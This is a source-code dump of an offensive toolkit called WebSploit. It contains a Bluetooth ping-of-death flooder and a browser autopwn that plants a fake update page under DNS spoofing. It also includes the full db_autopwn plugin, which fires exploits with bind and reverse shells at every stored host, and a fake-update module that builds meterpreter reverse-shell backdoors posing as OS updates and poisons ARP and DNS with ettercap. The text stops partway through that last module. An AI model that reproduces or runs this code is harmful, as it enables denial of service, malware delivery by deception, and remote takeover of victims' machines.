50 | myfile.write ('db_nmap ' + options[0] + '\n')
51 | myfile.write ('load /tmp/db_autopwn.rb\n')
52 | myfile.write ('db_autopwn -t -x -p -e')
53 | myfile.close()
54 | os.system('msfconsole -r /tmp/websploit_autopwn.rc')
55 | else:
56 | print "Wrong Command => ", com
57 | autopwn()
58 | except(KeyboardInterrupt):
59 | print ""
60 |
--------------------------------------------------------------------------------
/modules/bluetooth_pod.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Framework Bluetooth Ping Of Death module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | import os
8 | import subprocess
9 | from time import sleep
10 | from core import help
11 | from core import wcolors
12 |
13 | options = ["hci0", "", "600"]
14 | def bluetooth_pod():
15 | try:
16 | line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
17 | line_1 += ":"
18 | line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Bluetooth_POD" + wcolors.color.ENDC
19 | line_1 += " > "
20 | com = raw_input(line_1)
21 | com = com.lower()
22 | if com[0:13] =='set interface':
23 | options[0] = com[14:19]
24 | print "interface => ", options[0]
25 | bluetooth_pod()
26 | elif com[0:10] =='set bdaddr':
27 | options[1] = com[11:28]
28 | print "bdaddr => ", options[1]
29 | bluetooth_pod()
30 | elif com[0:8] =='set size':
31 | options[2] = com[9:12]
32 | print "size => ", options[2]
33 | bluetooth_pod()
34 | elif com[0:2] =='os':
35 | os.system(com[3:])
36 | bluetooth_pod()
37 | elif com[0:4] =='help':
38 | help.help()
39 | bluetooth_pod()
40 | elif com[0:4] =='back':
41 | pass
42 | elif com[0:12] =='show options':
43 | print ""
44 | print "Options\t\t Value\t\t\t\t RQ\t Description"
45 | print "---------\t--------------\t\t\t----\t--------------"
46 | print "interface\t"+options[0]+"\t\t\t\tyes\tBluetooth Interface Name"
47 | print "bdaddr\t\t"+options[1]+"\t\t\t\tyes\tTarget Bluetooth Address"
48 | print "size\t\t"+options[2]+"\t\t\t\tyes\tSize of packets (Default 600)"
49 | print ""
50 | bluetooth_pod()
51 | elif com[0:4] =='scan':
52 | os.system("hcitool scan")
53 | print ""
54 | bluetooth_pod()
55 | elif com[0:3] =='run':
56 | print(wcolors.color.BLUE + "[*]Bluetooth Ping Of Death Attack Started ..." + wcolors.color.ENDC)
57 | try:
58 | for i in range(1, 10000):
59 | xterm_1 = "l2ping -i %s -s %s -f %s &" % (options[0], options[2], options[1])
60 | subprocess.Popen(xterm_1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
61 | sleep(3)
62 | except(KeyboardInterrupt, OSError):
63 | print(wcolors.color.RED + "[!] Something Is Wrong ! Websploit Bluetooth_POD Module Exit." + wcolors.color.ENDC)
64 | bluetooth_pod()
65 | else:
66 | print "Wrong Command => ", com
67 | bluetooth_pod()
68 | except(KeyboardInterrupt):
69 | print(wcolors.color.RED + "\n[*] (Ctrl + C ) Detected, Module Exit" + wcolors.color.ENDC)
70 |
--------------------------------------------------------------------------------
/modules/brow_autopwn.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Framework Browser Autopwn module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | import os
8 | import subprocess
9 | from time import sleep
10 | from core import wcolors
11 | from core import help
12 | options =["eth0", "192.168.1.1"]
13 | def brow_autopwn():
14 | try:
15 | line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
16 | line_1 += ":"
17 | line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Browser_Autopwn" + wcolors.color.ENDC
18 | line_1 += " > "
19 | com = raw_input(line_1)
20 | com = com.lower()
21 | if com[0:9] =='set lhost':
22 | options[1] = com[10:25]
23 | print "INTERFACE => ", options[1]
24 | brow_autopwn()
25 | elif com[0:13] =='set interface':
26 | options[0] = com[14:19]
27 | print "LHOST => ", options[0]
28 | brow_autopwn()
29 | elif com[0:12] =='show options':
30 | print ""
31 | print "Options\t\t Value\t\t\t RQ\t Description"
32 | print "---------\t--------------\t\t----\t--------------"
33 | print "Interface\t"+options[0]+"\t\t\tyes\tNetwork Interface Name"
34 | print "LHOST\t\t"+options[1]+"\t\tyes\tLocal IP Address"
35 | print ""
36 | brow_autopwn()
37 | elif com[0:2] =='os':
38 | os.system(com[3:])
39 | brow_autopwn()
40 | elif com[0:4] =='help':
41 | help.help()
42 | brow_autopwn()
43 | elif com[0:4] =='back':
44 | pass
45 | elif com[0:3] =='run':
46 | print(wcolors.color.YELLOW + "[*]Starting WebServer ... Please Wait ..." + wcolors.color.ENDC)
47 | sleep(2)
48 | subprocess.Popen('/etc/init.d/apache2 start', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
49 | print(wcolors.color.YELLOW + "[*]Configuration DNS Spoof ... " + wcolors.color.ENDC)
50 | sleep(2)
51 | os.chdir('//tmp')
52 | check_tmp = os.listdir(os.curdir)
53 | if 'fillter.dns' in check_tmp:
54 | os.system('rm -rf fillter.dns')
55 | myfile = open('fillter.dns', 'w')
56 | myfile.write(options[1] + ' *')
57 | myfile.close()
58 | print(wcolors.color.YELLOW + "[*]Creating Infected Page For Victim ..." + wcolors.color.ENDC)
59 | sleep(3)
60 | os.chdir('//var//www')
61 | check_var = os.listdir(os.curdir)
62 | if 'index.html' in check_var:
63 | os.system('rm -rf index.html')
64 | myfile2 = open('index.html', 'w')
65 | myfile2.write('\n')
66 | myfile2.write('Important Update\n')
67 | myfile2.write('\n')
68 | myfile2.write('Important Update ...
\n')
69 | myfile2.write('Don\'t Close The Browser
\n')
70 | myfile2.write('Wait a Few Seconds ...
\n')
71 | myfile2.write('\n')
72 | myfile2.write('\n')
73 | myfile2.write('\n')
74 | myfile2.close()
75 | print(wcolors.color.YELLOW + "[*]Engine Has Been Started." + wcolors.color.ENDC)
76 | sleep(2)
77 | os.chdir('//tmp')
78 | command_1 = 'dnsspoof -i ' + options[0] + ' -f fillter.dns'
79 | subprocess.Popen(command_1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
80 | sleep(2)
81 | os.system('msfcli server/browser_autopwn LHOST='+ options[1] + ' URIPATH=index E')
82 | else:
83 | print "Wrong Command => ", com
84 | brow_autopwn()
85 | except(KeyboardInterrupt):
86 | print(wcolors.color.RED + "\n[*] (Ctrl + C ) Detected, System Exit" + wcolors.color.ENDC)
87 |
88 |
--------------------------------------------------------------------------------
/modules/cloudflare_resolver.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Framework CloudFlare Resolver module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 | import os
7 | import socket
8 | from core import wcolors
9 | from core import help
10 | from time import sleep
11 |
12 | options = ["google.com"]
13 | def cloudflare_resolver():
14 | try:
15 | line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
16 | line_1 += ":"
17 | line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "CloudFlare Resolver" + wcolors.color.ENDC
18 | line_1 += " > "
19 | com = raw_input(line_1)
20 | com = com.lower()
21 | if com[0:10] =="set target":
22 | options[0]=com[11:]
23 | print "TARGET => ", options[0]
24 | cloudflare_resolver()
25 | elif com[0:12] =='show options':
26 | print ""
27 | print "Options\t\t Value\t\t\t RQ\t Description"
28 | print "---------\t--------------\t\t----\t--------------"
29 | print "Target\t\t"+options[0]+"\t\tyes\tTarget Address"
30 | cloudflare_resolver()
31 | elif com[0:2] =='os':
32 | os.system(com[3:])
33 | cloudflare_resolver()
34 | elif com[0:4] =='help':
35 | help.help()
36 | cloudflare_resolver()
37 | elif com[0:4] =='back':
38 | pass
39 | elif com[0:3] =='run':
40 | sub = ('mail', 'webmail', 'email', 'direct-connect-mail',
41 | 'direct', 'direct-connect', 'cpanel', 'ftp', 'forum', 'blog',
42 | 'm', 'dev', 'record', 'ssl', 'dns', 'help', 'ns', 'ns1', 'ns2',
43 | 'ns3', 'ns4', 'irc', 'server', 'status', 'status', 'portal', 'beta',
44 | 'admin', 'imap', 'smtp')
45 | try:
46 | orgip = socket.gethostbyname(options[0])
47 | print "[-------------------------]"
48 | print "[+] Default IP Address : %s"%orgip
49 | print "[-------------------------]"
50 | except(socket.gaierror):
51 | print "[-] Error : Host is Down !"
52 | for i in sub:
53 | host = i+'.'+options[0]
54 | try:
55 | ip = socket.gethostbyname(host)
56 | print "[+] %s : %s"%(host, ip)
57 | except(socket.gaierror):
58 | print "[-] %s : N/A"%host
59 | cloudflare_resolver()
60 | else:
61 | print "Wrong Command =>" + com
62 | except(KeyboardInterrupt):
63 | print "\n[!] Operation Stoped By User."
--------------------------------------------------------------------------------
/modules/db_autopwn.rb:
--------------------------------------------------------------------------------
1 | #
2 | # db_autopwn - stripped from previous db commands and modified into a plugin as autopwn has been
3 | # pulled from the mainline release.
4 | #
5 | # Issues/Bugs should go to neinwechter via GitHub
6 | #
7 |
8 |
9 | module Msf
10 |
11 | class Plugin::DBAutopwn < Msf::Plugin
12 | class DBAutopwnCommandDispatcher
13 | include Msf::Ui::Console::CommandDispatcher
14 |
15 | #
16 | # Constants
17 | #
18 |
19 | PWN_SHOW = 2**0
20 | PWN_XREF = 2**1
21 | PWN_PORT = 2**2
22 | PWN_EXPL = 2**3
23 | PWN_SING = 2**4
24 | PWN_SLNT = 2**5
25 | PWN_VERB = 2**6
26 |
27 | def name
28 | "db_autopwn"
29 | end
30 |
31 | def commands
32 | {
33 | "db_autopwn" => "Automatically exploit everything",
34 | }
35 | end
36 |
37 | #
38 | # Returns true if the db is connected, prints an error and returns
39 | # false if not.
40 | #
41 | # All commands that require an active database should call this before
42 | # doing anything.
43 | #
44 | def active?
45 | if not framework.db.active
46 | print_error("Database not connected")
47 | return false
48 | end
49 | true
50 | end
51 |
52 | #
53 | # A shotgun approach to network-wide exploitation
54 | # Officially deprecated as of 4.1
55 | #
56 | # Forked for those who still want it and understand it's limitations/issues
57 | #
58 |
59 | def cmd_db_autopwn(*args)
60 | return unless active?
61 |
62 | print_error("")
63 | print_error("Warning: The db_autopwn command is not officially supported and exists only in a branch.")
64 | print_error(" This code is not well maintained, crashes systems, and crashes itself.")
65 | print_error(" Use only if you understand it's current limitations/issues.")
66 | print_error(" Minimal support and development via neinwechter on GitHub metasploit fork.")
67 | print_error("")
68 |
69 | stamp = Time.now.to_f
70 | vcnt = 0
71 | rcnt = 0
72 | mode = 0
73 | code = :bind
74 | mjob = 5
75 | regx = nil
76 | minrank = nil
77 | maxtime = 120
78 |
79 | port_inc = []
80 | port_exc = []
81 |
82 | targ_inc = []
83 | targ_exc = []
84 |
85 | args.push("-h") if args.length == 0
86 |
87 | while (arg = args.shift)
88 | case arg
89 | when '-t'
90 | mode |= PWN_SHOW
91 | when '-x'
92 | mode |= PWN_XREF
93 | when '-p'
94 | mode |= PWN_PORT
95 | when '-e'
96 | mode |= PWN_EXPL
97 | when '-s'
98 | mode |= PWN_SING
99 | when '-q'
100 | mode |= PWN_SLNT
101 | when '-v'
102 | mode |= PWN_VERB
103 | when '-j'
104 | mjob = args.shift.to_i
105 | when '-r'
106 | code = :conn
107 | when '-b'
108 | code = :bind
109 | when '-I'
110 | tmpopt = OptAddressRange.new('TEMPRANGE', [ true, '' ])
111 | range = args.shift
112 | if not tmpopt.valid?(range)
113 | print_error("Invalid range for -I")
114 | return
115 | end
116 | targ_inc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range))
117 | when '-X'
118 | tmpopt = OptAddressRange.new('TEMPRANGE', [ true, '' ])
119 | range = args.shift
120 | if not tmpopt.valid?(range)
121 | print_error("Invalid range for -X")
122 | return
123 | end
124 | targ_exc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range))
125 | when '-PI'
126 | port_inc = Rex::Socket.portspec_to_portlist(args.shift)
127 | when '-PX'
128 | port_exc = Rex::Socket.portspec_to_portlist(args.shift)
129 | when '-m'
130 | regx = args.shift
131 | when '-R'
132 | minrank = args.shift
133 | when '-T'
134 | maxtime = args.shift.to_f
135 | when '-h','--help'
136 | print_status("Usage: db_autopwn [options]")
137 | print_line("\t-h Display this help text")
138 | print_line("\t-t Show all matching exploit modules")
139 | print_line("\t-x Select modules based on vulnerability references")
140 | print_line("\t-p Select modules based on open ports")
141 | print_line("\t-e Launch exploits against all matched targets")
142 | # print_line("\t-s Only obtain a single shell per target system (NON-FUNCTIONAL)")
143 | print_line("\t-r Use a reverse connect shell")
144 | print_line("\t-b Use a bind shell on a random port (default)")
145 | print_line("\t-q Disable exploit module output")
146 | print_line("\t-R [rank] Only run modules with a minimal rank")
147 | print_line("\t-I [range] Only exploit hosts inside this range")
148 | print_line("\t-X [range] Always exclude hosts inside this range")
149 | print_line("\t-PI [range] Only exploit hosts with these ports open")
150 | print_line("\t-PX [range] Always exclude hosts with these ports open")
151 | print_line("\t-m [regex] Only run modules whose name matches the regex")
152 | print_line("\t-T [secs] Maximum runtime for any exploit in seconds")
153 | print_line("")
154 | return
155 | end
156 | end
157 |
158 | minrank = minrank || framework.datastore['MinimumRank'] || 'manual'
159 | if ! RankingName.values.include?(minrank)
160 | print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
161 | wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
162 | return
163 | else
164 | minrank = RankingName.invert[minrank]
165 | end
166 |
167 | # Default to quiet mode
168 | if (mode & PWN_VERB == 0)
169 | mode |= PWN_SLNT
170 | end
171 |
172 | matches = {}
173 | refmatches = {}
174 |
175 | # Pre-allocate a list of references and ports for all exploits
176 | mrefs = {}
177 | mports = {}
178 | mservs = {}
179 |
180 | # A list of jobs we spawned and need to wait for
181 | autopwn_jobs = []
182 |
183 | [ [framework.exploits, 'exploit' ], [ framework.auxiliary, 'auxiliary' ] ].each do |mtype|
184 | mtype[0].each_module do |modname, mod|
185 | o = mod.new
186 |
187 | if(mode & PWN_XREF != 0)
188 | o.references.each do |r|
189 | next if r.ctx_id == 'URL'
190 | ref = r.ctx_id + "-" + r.ctx_val
191 | ref.upcase!
192 |
193 | mrefs[ref] ||= {}
194 | mrefs[ref][o.fullname] = o
195 | end
196 | end
197 |
198 | if(mode & PWN_PORT != 0)
199 | if(o.datastore['RPORT'])
200 | rport = o.datastore['RPORT']
201 | mports[rport.to_i] ||= {}
202 | mports[rport.to_i][o.fullname] = o
203 | end
204 |
205 | if(o.respond_to?('autofilter_ports'))
206 | o.autofilter_ports.each do |rport|
207 | mports[rport.to_i] ||= {}
208 | mports[rport.to_i][o.fullname] = o
209 | end
210 | end
211 |
212 | if(o.respond_to?('autofilter_services'))
213 | o.autofilter_services.each do |serv|
214 | mservs[serv] ||= {}
215 | mservs[serv][o.fullname] = o
216 | end
217 | end
218 | end
219 | end
220 | end
221 |
222 |
223 | begin
224 |
225 | framework.db.hosts.each do |host|
226 | xhost = host.address
227 | next if (targ_inc.length > 0 and not range_include?(targ_inc, xhost))
228 | next if (targ_exc.length > 0 and range_include?(targ_exc, xhost))
229 |
230 | if(mode & PWN_VERB != 0)
231 | print_status("Scanning #{xhost} for matching exploit modules...")
232 | end
233 |
234 | #
235 | # Match based on vulnerability references
236 | #
237 | if (mode & PWN_XREF != 0)
238 |
239 | host.vulns.each do |vuln|
240 |
241 | # Faster to handle these here
242 | serv = vuln.service
243 | xport = xprot = nil
244 |
245 | if(serv)
246 | xport = serv.port
247 | xprot = serv.proto
248 | end
249 |
250 | vuln.refs.each do |ref|
251 | mods = mrefs[ref.name.upcase] || {}
252 | mods.each_key do |modname|
253 | mod = mods[modname]
254 | next if minrank and minrank > mod.rank
255 | next if (regx and mod.fullname !~ /#{regx}/)
256 |
257 | if(xport)
258 | next if (port_inc.length > 0 and not port_inc.include?(serv.port.to_i))
259 | next if (port_exc.length > 0 and port_exc.include?(serv.port.to_i))
260 | else
261 | if(mod.datastore['RPORT'])
262 | next if (port_inc.length > 0 and not port_inc.include?(mod.datastore['RPORT'].to_i))
263 | next if (port_exc.length > 0 and port_exc.include?(mod.datastore['RPORT'].to_i))
264 | end
265 | end
266 |
267 | next if (regx and mod.fullname !~ /#{regx}/)
268 |
269 | mod.datastore['RPORT'] = xport if xport
270 | mod.datastore['RHOST'] = xhost
271 |
272 | filtered = false
273 | begin
274 | ::Timeout.timeout(2, ::RuntimeError) do
275 | filtered = true if not mod.autofilter()
276 | end
277 | rescue ::Interrupt
278 | raise $!
279 | rescue ::Timeout::Error
280 | filtered = true
281 | rescue ::Exception
282 | filtered = true
283 | end
284 | next if filtered
285 |
286 | matches[[xport,xprot,xhost,mod.fullname]]=true
287 | refmatches[[xport,xprot,xhost,mod.fullname]] ||= []
288 | refmatches[[xport,xprot,xhost,mod.fullname]] << ref.name
289 | end
290 | end
291 | end
292 | end
293 |
294 | #
295 | # Match based on open ports
296 | #
297 | if (mode & PWN_PORT != 0)
298 | host.services.each do |serv|
299 | next if not serv.host
300 | next if (serv.state != ServiceState::Open)
301 |
302 | xport = serv.port.to_i
303 | xprot = serv.proto
304 | xname = serv.name
305 |
306 | next if xport == 0
307 |
308 | next if (port_inc.length > 0 and not port_inc.include?(xport))
309 | next if (port_exc.length > 0 and port_exc.include?(xport))
310 |
311 | mods = mports[xport.to_i] || {}
312 |
313 | mods.each_key do |modname|
314 | mod = mods[modname]
315 | next if minrank and minrank > mod.rank
316 | next if (regx and mod.fullname !~ /#{regx}/)
317 | mod.datastore['RPORT'] = xport
318 | mod.datastore['RHOST'] = xhost
319 |
320 | filtered = false
321 | begin
322 | ::Timeout.timeout(2, ::RuntimeError) do
323 | filtered = true if not mod.autofilter()
324 | end
325 | rescue ::Interrupt
326 | raise $!
327 | rescue ::Exception
328 | filtered = true
329 | end
330 |
331 | next if filtered
332 | matches[[xport,xprot,xhost,mod.fullname]]=true
333 | end
334 |
335 | mods = mservs[xname] || {}
336 | mods.each_key do |modname|
337 | mod = mods[modname]
338 | next if minrank and minrank > mod.rank
339 | next if (regx and mod.fullname !~ /#{regx}/)
340 | mod.datastore['RPORT'] = xport
341 | mod.datastore['RHOST'] = xhost
342 |
343 | filtered = false
344 | begin
345 | ::Timeout.timeout(2, ::RuntimeError) do
346 | filtered = true if not mod.autofilter()
347 | end
348 | rescue ::Interrupt
349 | raise $!
350 | rescue ::Exception
351 | filtered = true
352 | end
353 |
354 | next if filtered
355 | matches[[xport,xprot,xhost,mod.fullname]]=true
356 | end
357 | end
358 | end
359 | end
360 |
361 | rescue ::Exception => e
362 | print_status("ERROR: #{e.class} #{e} #{e.backtrace}")
363 | return
364 | end
365 |
366 | if (mode & PWN_SHOW != 0)
367 | print_status("Analysis completed in #{(Time.now.to_f - stamp).to_i} seconds (#{vcnt} vulns / #{rcnt} refs)")
368 | print_status("")
369 | print_status("=" * 80)
370 | print_status(" " * 28 + "Matching Exploit Modules")
371 | print_status("=" * 80)
372 |
373 | matches.each_key do |xref|
374 | mod = nil
375 | if ((mod = framework.modules.create(xref[3])) == nil)
376 | print_status("Failed to initialize #{xref[3]}")
377 | next
378 | end
379 |
380 | if (mode & PWN_SHOW != 0)
381 | tport = xref[0] || mod.datastore['RPORT']
382 | if(refmatches[xref])
383 | print_status(" #{xref[2]}:#{tport} #{xref[3]} (#{refmatches[xref].join(", ")})")
384 | else
385 | print_status(" #{xref[2]}:#{tport} #{xref[3]} (port match)")
386 | end
387 | end
388 |
389 | end
390 | print_status("=" * 80)
391 | print_status("")
392 | print_status("")
393 | end
394 |
395 | ilog("db_autopwn: Matched #{matches.length} modules")
396 |
397 | idx = 0
398 | matches.each_key do |xref|
399 |
400 | idx += 1
401 |
402 | begin
403 | mod = nil
404 |
405 | if ((mod = framework.modules.create(xref[3])) == nil)
406 | print_status("Failed to initialize #{xref[3]}")
407 | next
408 | end
409 |
410 | #
411 | # The code is just a proof-of-concept and will be expanded in the future
412 | #
413 | if (mode & PWN_EXPL != 0)
414 |
415 | mod.datastore['RHOST'] = xref[2]
416 |
417 | if(xref[0])
418 | mod.datastore['RPORT'] = xref[0].to_s
419 | end
420 |
421 | if (code == :bind)
422 | mod.datastore['LPORT'] = (rand(0x8fff) + 4000).to_s
423 | if(mod.fullname =~ /\/windows\//)
424 | mod.datastore['PAYLOAD'] = 'windows/meterpreter/bind_tcp'
425 | else
426 | mod.datastore['PAYLOAD'] = 'generic/shell_bind_tcp'
427 | end
428 | end
429 |
430 | if (code == :conn)
431 | mod.datastore['LHOST'] = Rex::Socket.source_address(xref[2])
432 | mod.datastore['LPORT'] = (rand(0x8fff) + 4000).to_s
433 |
434 | if (mod.datastore['LHOST'] == '127.0.0.1')
435 | print_status("Failed to determine listener address for target #{xref[2]}...")
436 | next
437 | end
438 |
439 | if(mod.fullname =~ /\/windows\//)
440 | mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
441 | else
442 | mod.datastore['PAYLOAD'] = 'generic/shell_reverse_tcp'
443 | end
444 | end
445 |
446 |
447 | if(framework.jobs.keys.length >= mjob)
448 | print_status("Job limit reached, waiting on modules to finish...")
449 | while(framework.jobs.keys.length >= mjob)
450 | ::IO.select(nil, nil, nil, 0.25)
451 | end
452 | end
453 |
454 | print_status("(#{idx}/#{matches.length} [#{framework.sessions.length} sessions]): Launching #{xref[3]} against #{xref[2]}:#{mod.datastore['RPORT']}...")
455 |
456 | autopwn_jobs << framework.threads.spawn("AutoPwnJob#{xref[3]}", false, mod) do |xmod|
457 | begin
458 | stime = Time.now.to_f
459 | ::Timeout.timeout(maxtime) do
460 | inp = (mode & PWN_SLNT != 0) ? nil : driver.input
461 | out = (mode & PWN_SLNT != 0) ? nil : driver.output
462 |
463 | case xmod.type
464 | when MODULE_EXPLOIT
465 | xmod.exploit_simple(
466 | 'Payload' => xmod.datastore['PAYLOAD'],
467 | 'LocalInput' => inp,
468 | 'LocalOutput' => out,
469 | 'RunAsJob' => false)
470 | when MODULE_AUX
471 | xmod.run_simple(
472 | 'LocalInput' => inp,
473 | 'LocalOutput' => out,
474 | 'RunAsJob' => false)
475 | end
476 | end
477 |
478 | rescue ::Timeout::Error
479 | print_status(" >> autopwn module timeout from #{xmod.fullname} after #{Time.now.to_f - stime} seconds")
480 | rescue ::Exception
481 | print_status(" >> autopwn exception during launch from #{xmod.fullname}: #{$!} ")
482 | end
483 | end
484 | end
485 |
486 | rescue ::Interrupt
487 | raise $!
488 |
489 | rescue ::Exception
490 | print_status(" >> autopwn exception from #{xref[3]}: #{$!} #{$!.backtrace}")
491 | end
492 | end
493 |
494 | # Wait on all the jobs we just spawned
495 | while (not autopwn_jobs.empty?)
496 | # All running jobs are stored in framework.jobs. If it's
497 | # not in this list, it must have completed.
498 | autopwn_jobs.delete_if { |j| not j.alive? }
499 |
500 | print_status("(#{matches.length}/#{matches.length} [#{framework.sessions.length} sessions]): Waiting on #{autopwn_jobs.length} launched modules to finish execution...")
501 | ::IO.select(nil, nil, nil, 5.0)
502 | end
503 |
504 | if (mode & PWN_SHOW != 0 and mode & PWN_EXPL != 0)
505 | print_status("The autopwn command has completed with #{framework.sessions.length} sessions")
506 | if(framework.sessions.length > 0)
507 | print_status("Enter sessions -i [ID] to interact with a given session ID")
508 | print_status("")
509 | print_status("=" * 80)
510 | driver.run_single("sessions -l -v")
511 | print_status("=" * 80)
512 | end
513 | end
514 | print_line("")
515 | # EOM
516 | end
517 |
518 |
519 |
520 |
521 |
522 |
523 |
524 |
525 |
526 |
527 | ##############################
528 | ##############################
529 |
530 | end
531 |
532 | def initialize(framework, opts)
533 | super
534 | add_console_dispatcher(DBAutopwnCommandDispatcher)
535 | end
536 |
537 | def cleanup
538 | remove_console_dispatcher('db_autopwn')
539 | end
540 |
541 | def name
542 | "db_autopwn"
543 | end
544 |
545 | def desc
546 | "Automatically exploit everything"
547 | end
548 |
549 | end
550 | end
551 |
--------------------------------------------------------------------------------
/modules/fakeupdate/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/modules/fakeupdate/__init__.py
--------------------------------------------------------------------------------
/modules/fakeupdate/fakeupdate.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Framework Fake Update module
4 | # Idea By G0tmi1k
5 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
6 | # Email : 0x0ptim0us@Gmail.Com
7 |
8 | import os
9 | import subprocess
10 | from time import sleep
11 | from core import wcolors
12 | from core import help
13 | options = ["eth0", "192.168.1.1"]
14 | def fakeupdate():
15 | try:
16 | line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
17 | line_1 += ":"
18 | line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Fake Update" + wcolors.color.ENDC
19 | line_1 += " > "
20 | com = raw_input(line_1)
21 | com = com.lower()
22 | if com[0:13] =='set interface':
23 | options[0] = com[14:20]
24 | print "INTERFACE => ", options[0]
25 | fakeupdate()
26 | elif com[0:9] =='set lhost':
27 | options[1] = com[10:25]
28 | print "LHOST => ", options[1]
29 | fakeupdate()
30 | elif com[0:12] =='show options':
31 | print ""
32 | print "Options\t\t Value\t\t\t\t RQ\t Description"
33 | print "---------\t--------------\t\t\t----\t--------------"
34 | print "Interface\t"+options[0]+"\t\t\t\tyes\tNetwork Interface Name"
35 | print "LHOST\t\t"+options[1]+"\t\t\tyes\tLocal IP Address"
36 | print ""
37 | fakeupdate()
38 | elif com[0:2] =='os':
39 | os.system(com[3:])
40 | fakeupdate()
41 | elif com[0:4] =='help':
42 | help.help()
43 | fakeupdate()
44 | elif com[0:4] =='back':
45 | pass
46 | elif com[0:3] =='run':
47 | print(wcolors.color.CYAN + "[!]Checking Setting, Please Wait ..." + wcolors.color.ENDC)
48 | sleep(2)
49 | subprocess.Popen('rm -rf /var/www/index.php /var/www/index.html /var/www/Linux.jpg /var/www/OSX.jpg /var/www/Windows.jpg /var/www/favicon.ico /var/www/Windows-KB183905-ENU.exe /var/www/Linux-update-EN-659 /var/www/OSX-update-HT3131', stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True).wait()
50 | subprocess.Popen('cp /usr/share/websploit/modules/fakeupdate/www/* /var/www/')
51 | print(wcolors.color.CYAN + "[*]Creating Backdoor For Windows OS ..." + wcolors.color.ENDC)
52 | cmd_1 = 'msfpayload windows/meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4441 X > /var/www/Windows-KB183905-ENU.exe'
53 | subprocess.Popen(cmd_1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
54 | print(wcolors.color.CYAN + "[*]Creating Backdoor For Linux OS ..." + wcolors.color.ENDC)
55 | cmd_2 = 'msfpayload linux/x86/meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4442 X > /var/www/Linux-update-EN-659'
56 | subprocess.Popen(cmd_2, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
57 | print(wcolors.color.CYAN + "[*]Creating Backdoor For MAC OSX ..." + wcolors.color.ENDC)
58 | cmd_3 = 'msfpayload osx/x86/shell_reverse_tcp LHOST=' + options[1] + ' LPORT=4443 X > /var/www/OSX-update-HT3131'
59 | subprocess.Popen(cmd_3, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
60 | print(wcolors.color.GREEN + "[*]Create Backdoor's Successful." + wcolors.color.ENDC)
61 | sleep(2)
62 | print(wcolors.color.BLUE + "[*]Starting Web Server ..." + wcolors.color.ENDC)
63 | subprocess.Popen('service apache2 start', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
64 | sleep(2)
65 | print(wcolors.color.BLUE + "[*]Starting DNS Spoofing ..." + wcolors.color.ENDC)
66 | try:
67 | os.chdir('/usr/local/share/ettercap')
68 | check_dir = os.listdir(os.curdir)
69 | if 'etter.dns' in check_dir:
70 | subprocess.Popen('mv /usr/local/share/ettercap/etter.dns etter.dns.old', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
71 | my_etter = open('etter.dns', 'w')
72 | my_etter.write('*\tA' + '\t'+ options[1])
73 | my_etter.close()
74 | except(OSError):
75 | print(wcolors.color.RED + wcolors.color.BOLD + "[*]Checking Ettercap ... Please Wait ..." + wcolors.color.ENDC)
76 | try:
77 | os.chdir('/usr/share/ettercap')
78 | check_dir = os.listdir(os.curdir)
79 | if 'etter.dns' in check_dir:
80 | subprocess.Popen('mv /usr/share/ettercap/etter.dns etter.dns.old', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
81 | my_etter = open('etter.dns', 'w')
82 | my_etter.write('*\tA' + '\t'+ options[1])
83 | my_etter.close()
84 | except(OSError):
85 | print(wcolors.color.BLUE + "[*]Ettercap Launched ... [OK]" + wcolors.color.ENDC)
86 | dns_spoofing = 'ettercap -Tqi ' + options[0] + ' -M arp // // -P dns_spoof'
87 | subprocess.Popen(dns_spoofing, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
88 | print(wcolors.color.BLUE + "[*]Starting Listener For Windows, Linux, MacOSX ..." + wcolors.color.ENDC)
89 | windows_listener = 'xterm -e msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4441 E &'
90 | linux_listener = 'xterm -e msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4442 E &'
